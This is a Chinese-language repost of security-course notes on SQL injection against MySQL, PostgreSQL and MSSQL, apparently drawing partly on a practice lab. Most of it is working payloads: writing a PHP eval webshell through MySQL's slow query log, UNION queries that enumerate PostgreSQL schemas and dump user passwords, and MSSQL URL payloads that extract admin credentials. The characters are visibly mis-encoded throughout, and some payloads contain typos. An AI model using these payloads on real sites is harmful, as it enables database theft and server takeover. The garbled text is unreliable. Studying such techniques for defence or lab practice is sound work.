?文章來源地址http://www.zghlxwxcb.cn/news/detail-828684.html
?#知識點:?
1、SQL 注入-MYSQL 數(shù)據(jù)庫?
2、SQL 注入-MSSQL(SQL server) 數(shù)據(jù)庫?
3、SQL 注入-PostgreSQL 數(shù)據(jù)庫?
#詳細(xì)點:?
Access 無高權(quán)限注入點-只能猜解,還是暴力猜解?
? ? ? ? ?因為access的數(shù)據(jù)庫是獨立存在的,不存在統(tǒng)一管理
對賬號密碼進行猜解,此時只是獲取到后臺的操作權(quán)限,若要獲取到服務(wù)器或網(wǎng)站等高級權(quán)限,需要進一步的提權(quán)操作
?文章來源:http://www.zghlxwxcb.cn/news/detail-828684.html
MYSQL,PostgreSQL,MSSQL 高權(quán)限注入點-可升級讀寫執(zhí)行等?
?
?
操作一:MYSQL——root高權(quán)限讀寫注入
通過mysql對本地文件的讀?。阂话阕x取相關(guān)敏感文件
?對本地文件的寫
?
?
?那么對于讀寫文件針對的則是敏感文件,敏感文件的獲?。?/p>
1.Phpinfo
?
?2.報錯
?
連接菜刀,登入后臺
3.字典
不知道路徑。就不斷爆破虛構(gòu)路徑
?
無法寫入——配置講解:
My.ini:
—對路徑進行操作限制,只能訪問到值以內(nèi)的路徑
?
突破:注入需要支持SQL環(huán)境,若沒有則使用第三方phpmyadmin或能夠直接連上對方數(shù)據(jù)庫進行繞過
?
1.利用SQL語句,開啟漫游日志:
Set global slow_query_log=1;——開啟日志
Set global slow_query_log_file=’shell路徑’;——令日志內(nèi)容寫入知指定路徑
Select ‘<?php eval()$_GET[A]?>’ or Slepp(10);——在指定文鍵中寫入paylioad,菜刀后臺連接
?
2.進入phpmyadmin:進行修改
?
操作二:PostgreSQL-高權(quán)限讀寫注入
SQL手工注入漏洞測試PostgreSQL數(shù)據(jù)庫:在工具不行的情況下,進行手工注入
-測列數(shù):?
order by 4?
and 1=2 union select null,null,null,null?
-測顯位:第 2,3?
and 1=2 union select 'null',null,null,null 錯誤?
and 1=2 union select null,'null',null,null 正常?
and 1=2 union select null,null,'null',null 正常?
and 1=2 union select null,null,null,'null' 錯誤?
?
-獲取信息:?
and 1=2 UNION SELECT null,version(),null,null?
and 1=2 UNION SELECT null,current_user,null,null?
and 1=2 union select null,current_database(),null,null?
?
-獲取數(shù)據(jù)庫名:?
and 1=2 union select null,string_agg(datname,','),null,null from?
pg_database?
?
-獲取表名:?
and 1=2 union select null,string_agg(tablename,','),null,null?
from pg_tables where schemaname='public'?
and 1=2 union select null,string_agg(relname,','),null,null?
from pg_stat_user_tables?
?
-獲取列名:?
and 1=2 union select null,string_agg(column_name,','),null,null?
from information_schema.columns where table_name='reg_users'?
-獲取數(shù)據(jù):?
and 1=2 union select null,string_agg(name,’,’),string_agg(password,’,’),null from reg_users??
?
-查詢高級用戶
and 1=2 union select null,string_agg(username,’,’),null,null from pg_user where usesuper IS TRuE??
?
高級權(quán)限文件讀寫操作——參考:https://www.freebuf.com/sectool/24937.heml
?
操作三:mssql-高級權(quán)限文件修改
?
判斷注入點:點擊鏈接?
判斷注入類型:看看是整型還是字符型(and 1=1、and 1=2)?
判斷列數(shù):order by n?
判斷顯示位:union all select NULL,NULL......?
爆數(shù)據(jù)庫:?id=2 and 1=2 union all select 1,db_name(),'3',4?
爆表:?id=2 and 1=2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',4?
爆字段:?id=2 and 1=2 union all select 1,(select username from manage),(select password from manage where username in ('admin_mz')),4 8、MD5解密?
9、登錄,獲取KEY
?
?
到了這里,關(guān)于小迪安全25WEB 攻防-通用漏洞&SQL 讀寫注入&MYSQL&MSSQL&PostgreSQL的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!